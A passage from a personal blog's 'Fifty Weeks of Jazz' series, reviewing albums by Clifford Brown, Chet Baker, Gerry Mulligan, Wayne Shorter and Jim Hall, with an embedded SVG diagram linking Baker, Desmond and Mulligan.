accomplishments, it's hard to doubt there must've been a charge of divinity about him. I won't get into his meditation practices, his writings (<a rel="external" href="https://www.srichinmoylibrary.com/allbooks">1804 books</a>), his songs ("<a rel="external" href="https://www.srichinmoysongs.com/">[he] composed over 23,000 songs</a>"), nor his art (<a rel="external" href="https://www.srichinmoy.org/sri_chinmoy/art/">hundreds of thousands of paintings, including "16,031 paintings in one 24-hour period" and over 15 million "Soul-Birds" in his life</a>)—rather, I want to highlight one of his many feats of <em>athleticism</em>. You see, Sri Chinmoy was a lifelong proponent of exercise; he considered it to be a devotional act towards God. Just how devoted was he? Well, "<a rel="external" href="https://srichinmoy-reflections.com/miracle-lift">on January 30, 1987, Sri Chinmoy lifted a weight of 7,063¾ pounds using only his right arm.</a>"<sup class="footnote-reference"><a href="#chinmoy-vs-deadlift">56</a></sup> One of his 23,000 songs was <a rel="external" href="https://srichinmoy-reflections.com/sites/default/files/contents/timeline/february/feb_14_1987_sri_chinmoy_seven-thousand-pounds_revised_song_score.jpg">a tune</a> to commemorate the occasion.</p> <p>But while Sri Chinmoy may have possibly slightly exaggerated some of his own feats, he inspired a group for whom no exaggeration is required: participants in the annual <a rel="external" href="https://en.wikipedia.org/wiki/Self-Transcendence_3100_Mile_Race">Self-Transcendence 3100 Mile Race</a> (founded by Sri Chinmoy, naturally—though he never participated in it himself) run <em>5,649</em> laps of one particular city block in Queens—a feat that took the record holder over 40 days to complete while running 18 hours a day. Self-Transcendence isn't the only thing on the line though: according to Wikipedia, "the prize is typically a T-shirt, a DVD, or a small trophy."<sup class="footnote-reference"><a href="#3100-mile-race-tshirt">57</a></sup> This whole endeavour is far better-documented than Sri Chinmoy's individual challenges: this piece goes to press just after the conclusion of the 2025 race, but I can attest to watching the event live via <a rel="external" href="https://3100.srichinmoyraces.org/">their webcams</a> earlier this week.</p> <br> <p>I suppose what I'm really getting at is: humans are funny creatures; there's really no telling what will get us going. I'm not especially religious myself, but credit where credit is due: the faithful have put out some <em>choice</em> works of art over the ages. Love for Christ begat <a rel="external" href="https://en.wikipedia.org/wiki/Sistine_Chapel#Frescoes">the frescoes of the Sistine Chapel</a>; love for Allah begat the <a rel="external" href="https://en.wikipedia.org/wiki/Kaaba">Kaaba</a>; and love for Sri Chinmoy's infinite, all-encompassing God begat <em>Birds of Fire</em>—a most worthy offering indeed.</p> <p><em>Favourite track:</em> Open Country Joy</p> <h2 id="week-40">Week 40: <a href="https://musicbrainz.org/release-group/35f160aa-8c96-3d2f-8186-c15043814666">The Beginning and the End</a></h2> <p>The title of this week's album—<em>The Beginning and the End</em>—suggests some division into two pieces, and after a first listen it isn't difficult to spot the seam joining the two. The album is roughly 35 minutes long, and in the first five minutes we've already knocked out the first two tracks ("I Come From Jamaica" and "Ida Red"): both are fun and catchy enough, but they're immediately old-fashioned to my ear, and not in a flattering way. Part of it is the lyrics ("I come from Jamaica / Jamaica she my home / Fish and rice / VEEERY NICE!"), but there's also something unmistakeably <em>cheesy</em> about them that's a dead giveaway—though to dissect these two Chris Powell songs start-to-end would rather miss the point; they're only included here as vehicles for the hot Clifford Brown trumpet solos they feature.<sup class="footnote-reference"><a href="#chris-powell-context">58</a></sup> The remaining 30 minutes, by contrast, consists of three extended bebop performances (including a rendition of "Donna Lee," which we first heard on Jaco Pastorius's <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">eponymous album</a>) that truly allow Brown to shine. These tracks most remind me of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">the Parker "album"</a> we previously heard—at that time I wasn't particularly entranced by bebop overall, but for some reason this week it grabbed my attention. Maybe it's the casual club setting of the later session, but these three tracks really come <em>alive</em>; I keenly feel I'm sitting at a crowded table in a smoke-filled room, surrounded by patrons equally excited and dazzled by the dynamic, unpredictable solos Brown is belting out on his horn.</p> <p>Now that we've distinguished the "beginning" from the "end," what do they represent, exactly? Sadly, there is no clever metaphor here: these are Clifford Brown's earliest and latest known studio recordings. In 1952, Brown recorded some tracks with Chris Powell &amp; The Five Blue Flames; less than four years later he recorded a live set at Music City Club in Philadelphia;<sup class="footnote-reference"><a href="#brown-final-set">59</a></sup> and on a dark night in June 1956, Brown was killed in a car crash. He was just 25 years old.</p> <p>Though Brown's career was short, it undoubtedly left an outsized impact on jazz—even within his own lifetime he was seen as a pioneering figure of bebop and a distinctively talented trumpet player. Brown was best known for his quintet with <a rel="external" href="https://en.wikipedia.org/wiki/Max_Roach">Max Roach</a>, but he also played with <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">Art Blakey</a>, before Blakey's group even <em>was</em> the Jazz Messengers. As one example of Brown's legacy, consider <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-37">Freddie Hubbard</a>: Hubbard (a fellow trumpet player) joined the Messengers in 1961, and one has to imagine the works of his instrumental forebear were on his mind. In fact, should you wish to better understand how Brown influenced Hubbard, allow me to refer you to either <a rel="external" href="https://jamesmoorejazz.com/">James Moore</a>'s 366-page <a rel="external" href="https://d-scholarship.pitt.edu/11673/">doctoral thesis</a> on the subject, or this <a rel="external" href="https://www.youtube.com/watch?v=fs0EJuJWdQQ">2-minute AI slop video</a><sup class="footnote-reference"><a href="#ai-slop-b-roll">60</a></sup> with two views (one of which is me); two sources that I presume are of roughly equal scholarly value.</p> <br> <p>To study the history of jazz is to become acquainted with a litany of individual calamities: all too often, drink and drugs made quick work of the most promising jazzmen. But among those many tragedies, the loss of Brown makes us bristle with particular indignation—a rising genius who lived clean in an era when few did, his time upon this stage cut short without rhyme or reason. We can only be grateful that on his way out he left us these few treasures to remember him by.</p> <p><em>Favourite track:</em> Walkin’</p> <h2 id="week-41">Week 41: <a href="https://musicbrainz.org/release-group/aca2c479-87b3-440f-ac48-585fc90c525e">She Was Too Good to Me</a></h2> <p>They say that no man ever steps in the same river twice. Well, it's been nearly eight months since <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-10">we last heard</a> from certified super-crooner Chet Baker—have the waters changed in the interim, or have we? As is so often the case, I think the answer is both.</p> <p><em>She Was Too Good to Me</em>, released in 1974, is often described as a comeback album. That's… surprising, given that our last Baker album was titled <em>Chet is Back!</em> and released some 12 years earlier, but there's no real contradiction here: Baker faced many setbacks in his life—almost entirely owing to his all-consuming heroin addiction—and, to his credit, he staged comeback after comeback in response. In fact, conceiving of <em>Chet is Back!</em> as a comeback seems quaint in retrospect; that release celebrated the end of roughly a year of jail time related to his drug use. The comeback behind <em>She Was Too Good to Me</em> was far more dramatic: a drug deal gone wrong in 1966 led to Baker losing his teeth, ruining his embouchure and temporarily estranging him from his beloved instruments;<sup class="footnote-reference"><a href="#chet-baker-instruments">61</a></sup> <em>She Was Too Good to Me</em> was his major release after that extended hiatus.</p> <p><em>She Was Too Good to Me</em> is beautiful, sweeping, and at times a touch haunting—Baker's life was never easy, and the weight of that dull heartache comes through clearly on the album, particularly in the vocals. I generally prefer my jazz wordless, but Baker's singing is commendable: I find his phrasing compelling, and the lyrics, while simple, generally manage to steer clear of the overt kitsch that puts me off some other (particularly older) works.</p> <p>Yet despite all that, I still prefer the instrumentals—particularly "Autumn Leaves," which pairs Baker with the ever-smooth <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">Paul Desmond</a> for a can't-miss combination. Interestingly, we've already heard Desmond himself cover "Autumn Leaves" on <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-32">his solo album</a>.<sup class="footnote-reference"><a href="#desmond-autumn-leaves">62</a></sup> I prefer the partnership with Baker: Desmond's solo take is a bit dramatic and formal (in keeping with the overall style of that album—listen to the flute and woodwind play catch with a very classical theme around the 2:30 mark). The version with Baker is more <em>fun</em>: it has more strut and swing, not to mention a sweet keyboard solo—and of course it features the incredible tones of both Desmond and Baker, both of whom give great performances here.<sup class="footnote-reference"><a href="#autumn-leaves-showdown-part-2">63</a></sup></p> <p>On the whole, I'd pick <em>Chet is Back!</em> over <em>She Was Too Good to Me</em>. The former is more muscular and energetic; there's still raw emotion on offer (just listen to Baker solo on "Over the Rainbow"), but it's not as much plaintive heartbreak. Plus, "Ballata in forma di blues" still hooks me in a way that no other track across those two albums can. Fundamentally, I suppose I prefer Chet's blowing to his crooning.</p> <p>One final note for this week: we've seen <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-31">many</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-36">albums</a> with great cover art, but this one mystified me; I could make neither heads nor tails of this blurry, abstract pointillism. Give it a go yourself, then click below for the real answer:</p> <figure> <img src="/blog/fifty-weeks-of-jazz/./she_was_too_good_to_me_front_cover.jpg" alt="The album art for _She Was Too Good to Me_; the background is an indistinct, grainy purple-orange-pink blur." class="centre"> </figure> <details> <summary>What the cover <em>really</em> shows</summary> I said I couldn't make heads or tails of this, but as it happens, the correct answer <em>is</em> heads (well, just one head), which I learned from Doug Payne's <a href="https://dougpayne.com/chet-baker-she-was-too-good-to-me-at-50/">wonderful article</a> on the album. It becomes far more obvious when you abut the rear image against the front: <figure> <img src="/blog/fifty-weeks-of-jazz/./she_was_too_good_to_me_front_and_back_covers.jpg" alt="The front and back album art for _She Was Too Good to Me_, abutting and clearly showing a photo of a woman's face." class="centre"> </figure> </details> <p><em>Favourite track:</em> Autumn Leaves</p> <h2 id="week-42">Week 42: <a href="https://musicbrainz.org/release-group/4e4dc829-e5b9-3710-891f-2e6418380a4e">Carnegie Hall Concert</a></h2> <p><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-41">Last week</a>, we heard a 1974 Chet Baker album that featured a prominent saxophonist (namely, <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-32">Paul Desmond</a>). I wasn't so keen on it myself, but clearly the jazz gods are rooting for that specific niche, because this week they insisted upon a mulligan—a <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-14">Gerry Mulligan</a>, in fact. Yes, less than a month after the final recording date for <em>She Was Too Good to Me</em>, Baker performed at Carnegie Hall alongside Mulligan, giving us this album.</p> <p>I'll not bury the lede: I much prefer <em>Carnegie Hall Concert</em> to <em>She Was Too Good to Me</em>. I wouldn't describe the former as particularly flashy or revolutionary, but it is a cornucopia of fine jazz: eight tracks, most over eight minutes long and each overflowing with fantastic musicianship. Obviously the focus is on Baker and Mulligan—given the smooth, lyrical phrasing they share, it's no wonder their serendipitous partnership from the ’50s entranced both then and now.<sup class="footnote-reference"><a href="#mulligan-baker-partnership">64</a></sup> I've already remarked on Baker's beautiful, pure tone elsewhere, but I'm even more partial to Mulligan: he's equally delicate in his approach, but the force of the baritone sax gives him the ability to conjure drama and tension out of thin air—which he does repeatedly and effectively on this album (e.g., in "It's Sandy At The Beach", or the final couple minutes of "K-4 Pacific"). It's not just a matter of volume: as he gets loud, he also eases up on the self-control, unleashing a throatier, primal, more insistent sound (though nowhere near what Sonny and Hawk <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-12">get up to</a>).</p> <p>But to focus exclusively on our headliners would be to overlook some equally impressive performances from the ensemble. In particular, <a rel="external" href="https://en.wikipedia.org/wiki/Bob_James_(musician)">Bob James</a> (on piano) frequently steals the show for me: he begins "For An Unfinished Woman" with a simple theme, but one that sets up the intrigue that fuels the rest of the piece; his solo in "My Funny Valentine" is heart-wrenching; and he brings just as much excitement as anyone else to "It's Sandy at the Beach". Our bassist, <a rel="external" href="https://en.wikipedia.org/wiki/Ron_Carter">Ron Carter</a>, keeps things humming throughout and takes centre stage with solos on "K-4 Pacific" and "There Will Never Be Another You".<sup class="footnote-reference"><a href="#james-carter-redux">65</a></sup> And we haven't even gotten into <a rel="external" href="https://en.wikipedia.org/wiki/John_Scofield">John Scofield</a>'s racing guitar solos, nor the fantastic vibraphone and drum work… suffice it to say there's a fairly large group on display here (eight musicians total) and none of them disappoint.</p> <p><em>She Was Too Good to Me</em> was clearly a Baker album with a side of Desmond; by contrast, Mulligan is in the driver's seat this time, having composed most of the tunes. That being said, though, Baker still gets his moments: he sings on "There Will Never Be Another You" (lovely, as always), and of course they take up "My Funny Valentine," which was Baker's signature song. (In fact, it was Baker's recording with Mulligan's quartet in 1953 that was later selected for inclusion in the [American] <a rel="external" href="https://en.wikipedia.org/wiki/National_Recording_Registry">National Recording Registry</a>.) We first heard "My Funny Valentine" on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-32">Desmond Blue</a></em>, and I once again prefer this version; just like "Autumn Leaves" from <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-41">last week</a>, the soaring formality of Desmond's take ends up detracting from the overall emotion—it should be no surprise that Baker is hard to top on home turf.</p> <p>Let us conclude this week with a tripartite connection. One of my high-level takeaways from this project is that the jazz scene is smaller and more tightly-linked than I had expected; in our 42 weeks so far we've discovered connection after connection between many of the big names. In that vein, I find it very aesthetically satisfying that with this album, we have now completed the Baker–Desmond–Mulligan triangle:</p> <!-- Note: this isn't general-purpose at all; I just wanted to include this diagram without embedding the full SVG in the blog post itself (because that's a bit unwieldy). --> <div style="text-align: center;"> <svg xmlns="http://www.w3.org/2000/svg" style="max-width:100%;max-height:182px;" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="300px" viewBox="-0.5 -0.5 300 182"><defs/><g><g data-cell-id="0"><g data-cell-id="1"><g data-cell-id="S9Geb9E47wun0Sb_1fKk-1"><g><rect x="100" y="0" width="90" height="50" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 25px; margin-left: 101px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Gerry Mulligan</font></div></div></div></foreignObject><text x="145" y="31" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Gerry Mul...</text></switch></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-10"><g><path d="M 255 135 L 190 50" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-11"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 90px; margin-left: 222px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-14/"><font><i>Two of a Mind</i></font></a></div></div></div></foreignObject><text x="222" y="94" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">Two of a Mind</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-2"><g><rect x="210" y="135" width="90" height="45" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 88px; height: 1px; padding-top: 158px; margin-left: 211px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Paul<br />Desmond</font></div></div></div></foreignObject><text x="255" y="164" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Paul...</text></switch></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-4"><g><path d="M 35 135 L 100 50" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-7"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 89px; margin-left: 68px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-42/"><font><i>Carnegie Hall<br />Concert</i></font></a></div></div></div></foreignObject><text x="68" y="93" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">Carnegie Hall...</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-6"><g><path d="M 70 157.5 L 210 157.5" fill="none" stroke="#000000" style="stroke: light-dark(rgb(0, 0, 0), rgb(255, 255, 255));" stroke-miterlimit="10" pointer-events="stroke"/></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-9"><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 157px; margin-left: 138px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; background-color: #ffffff; "><div style="display: inline-block; font-size: 13px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; background-color: light-dark(#ffffff, var(--ge-dark-color, #121212)); white-space: nowrap; "><a href="/fifty-weeks-of-jazz/week-41/"><font><i>She Was Too<br />Good to Me</i></font></a></div></div></div></foreignObject><text x="138" y="161" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="13px" text-anchor="middle">She Was Too...</text></switch></g></g></g></g><g data-cell-id="S9Geb9E47wun0Sb_1fKk-3"><g><rect x="0" y="135" width="70" height="45" fill="none" stroke="none" pointer-events="all"/></g><g><g><switch><foreignObject style="overflow: visible; text-align: left;" pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 158px; margin-left: 1px;"><div style="box-sizing: border-box; font-size: 0; text-align: center; color: #000000; "><div style="display: inline-block; font-size: 20px; font-family: 'Lucida Console'; color: light-dark(#000000, #ffffff); line-height: 1.2; pointer-events: all; white-space: normal; word-wrap: normal; "><font>Chet<br />Baker</font></div></div></div></foreignObject><text x="35" y="164" fill="light-dark(#000000, #ffffff)" font-family="'Lucida Console'" font-size="20px" text-anchor="middle">Chet...</text></switch></g></g></g></g></g></g><switch><g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/><a transform="translate(0,-5)" xlink:href="https://www.drawio.com/doc/faq/svg-export-text-problems" target="_blank"><text text-anchor="middle" font-size="10px" x="50%" y="100%">Text is not SVG - cannot display</text></a></switch></svg> </div> <p><em>Favourite track:</em> K-4 Pacific</p> <h2 id="week-43">Week 43: <a href="https://musicbrainz.org/release-group/9861d108-d00f-3dfd-9623-bb2270363bf1">Native Dancer</a></h2> <p>Indulge me in a little experiment: conjure up some "world music" in your mind's ear. What do you hear? If you're anything like me, the phrase evokes something anodyne and bloodless: vaguely African drumming, mellifluous but unintelligible vocals, and likely little complexity on offer.<sup class="footnote-reference"><a href="#world-music-apology">66</a></sup></p> <p><em>Native Dancer</em> has many of the accoutrements I associate with world music. But pejorative "world music," this is not: it's a rich, nuanced tapestry that captivated me from the first listen. It's also another example of the frustratingly squishy label "jazz fusion" that we've seen <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">several</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-37">times</a> by now. However, on that front, <em>Native Dancer</em> has a much more legitimate claim to be "fusion" than its peers: it heavily features the enthralling vocals and compositions of the Brazilian musician <a rel="external" href="https://en.wikipedia.org/wiki/Milton_Nascimento">Milton Nascimento</a>—this truly is a blend of jazz <em>and</em> Brazilian traditions.</p> <p>But though Nascimento's contributions here are laudable, he only gets second billing—this is Wayne Shorter's album. It is with no small measure of self-satisfaction that I share I was able to deduce this independently: after my first listen, I knew that I had heard that focused, piercing saxophone tone<sup class="footnote-reference"><a href="#shorter-saxophone-tone">67</a></sup> before; with much straining of neurons I was finally able to discern the source as <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">Heavy Weather</a></em>.<sup class="footnote-reference"><a href="#shorter-on-jaco-pastorius">68</a></sup> Shorter is one of those musicians who seems to have been at the centre of every big jazz group: he cut his teeth with the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">Jazz Messengers</a>, played with <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Miles Davis</a>, then left that gig to co-found Weather Report. Oh, and if that wasn't enough, he won <em>Downbeat</em> magazine's critics' choice award for soprano sax—for ten years straight.</p> <p>One of the great successes of <em>Native Dancer</em> is that it lets both Shorter <em>and</em> Nascimento shine. In "Ponta de Areia," "Miracle of the Fishes," and "From the Lonely Afternoons," Nascimento's vocals are the main attraction—layered like rushing waters that create an inexorable current that drags you in and along. Shorter is largely a co-conspirator in these efforts, but he takes command on tracks like "Beauty and the Beast," where he injects a healthy dose of funk, and "Ana Maria." I'm also impressed by the pacing of the album: tracks like "Diana" offer a softer, quieter reprieve between the big vocal numbers. And not to put <em>too</em> fine a point on it, but the <em>jazz</em> element of "jazz fusion" comes through clearly here, unlike <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">a certain other</a> album we've heard.</p> <p>It bears reminding that this is not the first Brazilian album we've heard: on <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-21">The Best of Two Worlds</a></em>, the standout track was "Aguas de Março," which was inspired by the long, torrential March rains of Rio de Janeiro. <em>Native Dancer</em> is also a distinctly Brazilian album, but in this case… the Wayne's Shorter.</p> <p><em>Favourite track:</em> Ponta de Areia</p> <h2 id="week-44">Week 44: <a href="https://musicbrainz.org/release-group/a3e83453-d0ba-3cc9-8f9f-54a33a60a299">Concierto</a></h2> <p>One thing I've learned this year about jazz is that her inspirations are multifold. Had you asked me in January, I would've guessed that most jazz compositions are wholly original: some meticulously crafted by musical geniuses; others perfectly extemporized by true virtuosos. Turns out, that's not even close to true; the jazz smelters hunger voraciously for musical ore, and they care little of the exact provenance: <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#porgy-and-bess">American opera</a> is as good a source as <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-21">Brazilian rhythms</a>. In keeping with that vaunted tradition, the centerpiece of this week's album is a jazz cover of <em><a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez">Concierto de Aranjuez</a></em>, a 1939 guitar concerto composed by <a rel="external" href="https://en.wikipedia.org/wiki/Joaqu%C3%ADn_Rodrigo">Joaquín Rodrigo</a>.</p> <p>In fact, let's dedicate this week to the Rodrigo piece and its descendants, because there's a fascinating musical evolution here that is easy to trace. We begin, naturally, with the original composition: I started by listening to <a rel="external" href="https://www.youtube.com/watch?v=Zy8QKwTeMGo">this performance</a>, starring John Williams.<sup class="footnote-reference"><a href="#john-williams-confusion">69</a></sup> It's an interesting piece: when the orchestra is in charge, we're firmly in classical territory (that I would struggle to discern from any other twentieth-century composer), but of course the soloist infuses Spanish guitar that I personally wouldn't typically associate with the symphony. (In fact, "infuse" must be too weak a term; surely this piece helped <em>define</em> that Platonic notion of "Spanish guitar" at which I am lamely grasping.) If you like the more lively first and third movements, enjoy them while you can—as we'll soon see, it's the second movement that proves to be especially influential among later musicians.</p> <p>Now that we're acquainted with the 1939 composition, jump forward twenty years, where we find an established Miles Davis in the unenviable position of needing to follow up his monumental release from earlier in 1959, <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-5">Kind of Blue</a></em>. Fortunately, <a rel="external" href="https://en.wikipedia.org/wiki/Sketches_of_Spain#Background">a friend of Davis passed him a recording of <em>Concierto de Aranjuez</em></a>, and <a rel="external" href="https://en.wikipedia.org/wiki/Gil_Evans">Gil Evans</a> was on-hand to rearrange it for him. <a rel="external" href="https://www.youtube.com/watch?v=mpRXA3lFrqM">The resulting version</a>—released on <em>Sketches of Spain</em>—presents a bold, imposing vision of the second movement. Overall I find it less stiff than the original: presumably facing fewer formal constraints, Davis and Evans amp up the drama with forceful percussion and wide dynamic range. But even with those embellishments, the overall piece still has a strong classical character to my ear; I see it as more at home in the concert hall than in a jazz club—I suppose that's why it's often cited as an example of <a rel="external" href="https://en.wikipedia.org/wiki/Third_stream">third stream</a>. One thing Davis and Evans did <em>not</em> do was contact Rodrigo in any way before releasing their cover; apparently <a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez#Interpretations">Rodrigo only learned of it after a friend played the album for him</a>, and was furious (though he later came to begrudgingly accept the massive additional exposure this version brought to his original work, not to mention whatever fat cheques came in from the later legal settlement).</p> <p>With all that, we're now finally ready to place this week's album in context: <em>Concierto</em>, by Jim Hall, released in 1975. I was stoked to see Hall headlining an album: we've heard from him several times before, but only as a <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-33">sideman</a>—based on what we've learned of Rodgrio's composition, we should all be salivating at the prospect of a guitarist like Hall giving his interpretation. Indeed, Hall brings the goods, assisted by a backing band that includes some names you <em>might</em> have heard before—do <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-27">Paul Desmond</a> or <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-10">Chet Baker</a> ring a bell‽ (I hope I'm not the only one <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-41">getting déjà vu</a>.) In terms of mood, I find Hall's version to be quite different from either the original or Davis's cover: it's certainly cooler and more relaxed than <em>Sketches of Spain</em>; it's not nearly as in-your-face with its dynamics. I also find it has a fundamentally jazzier character: we've really shed all classical formalities at this point, but without sacrificing that poignant, haunting melody.</p> <p>For all that beauty though, I will confess that this album didn't hook me off the bat. Perhaps that is temperamental: I have made it clear previously that <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">I am not a man of subtleties</a>. As such, I sometimes need time to warm up to cool jazz, as it were—I wouldn't say <em>Concierto</em> astounds or astonishes on the first play (unlike, e.g., <em><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-39">Birds of Fire</a></em>), but subsequent listens begin to reveal the great splendor of this garden.</p> <p>Well, that takes us to 1975, but the story of <em>Concierto de Aranjuez</em> doesn't end with Hall's <em>Concierto</em>: Wikipedia lists <a rel="external" href="https://en.wikipedia.org/wiki/Concierto_de_Aranjuez#Interpretations">dozens of covers and references</a>, many of which are jazz-tinged. Some of my personal favourites include:</p> <ul> <li><a rel="external" href="https://en.wikipedia.org/wiki/Buckethead">Buckethead</a>'s <a rel="external" href="https://www.youtube.com/watch?v=9qOVJchi_eo">version</a>, which is predictably skull-melting (in the best possible way). Although <em>technically</em> he was covering <em>Sketches of Spain</em>, not Rodrigo directly, so this is a cover of a cover… it's Aranjuez all the way down.</li> <li><a rel="external" href="https://en.wikipedia.org/wiki/Herb_Alpert">Herb Alpert</a> put a spin on it in his 1979 album, <em>Rise</em>, titled "<a rel="external" href="https://www.youtube.com/watch?v=0B_CVFnAhEI">Aranjuez (mon amour)</a>." This one is way more club-dance-funk-y, at times getting closer to the Middle East than Spain—it also quotes the first movement, not just the second.</li> </ul> <p>I must say, I sure am glad that Rodrigo failed to block the release of Davis's cover of <em>Concierto de Aranjuez</em>. Yes, creators deserve to be paid for their work, but once a piece of music like this is published, it takes on a life of its own: clearly it has inspired, influenced, and <em>moved</em> so many other musicians, who then proffered their own interpretations in an ongoing, worldwide conversation—I have little sympathy for those who would prematurely stifle that discourse for a miserly accounting of royalties. <em>¡Música para todos!</em></p> <p><em>Favourite track:</em> Concierto de Aranjuez<sup class="footnote-reference"><a href="#concierto-favourite-track">70</a></sup></p> <h2 id="week-45">Week 45: <a href="https://musicbrainz.org/release-group/9b0e162a-311e-31dc-89ee-56839ee65340">Romantic Warrior</a></h2> <p>Ho, brave traveller! Wherefore dost thou haste? Thou seem’st to have covered many miles, but this storm would detain the gods themselves—come; tarry a moment by the fire, and regale us of thy travels…</p> <p>I'm in an unfortunate hurry this week, so let me get straight to the point: <em>Romantic Warrior</em> is a 1976 jazz fusion album by <a rel="external" href="https://en.wikipedia.org/wiki/Return_to_Forever">Return to Forever</a>, a group founded by <a rel="external" href="https://en.wikipedia.org/wiki/Chick_Corea">Chick Corea</a>. Corea is one of those big names in late 20<sup>th</sup> century jazz that I don't think we've encountered so far. My assessment of <em>Romantic Warrior</em> is remarkably similar to <em><a 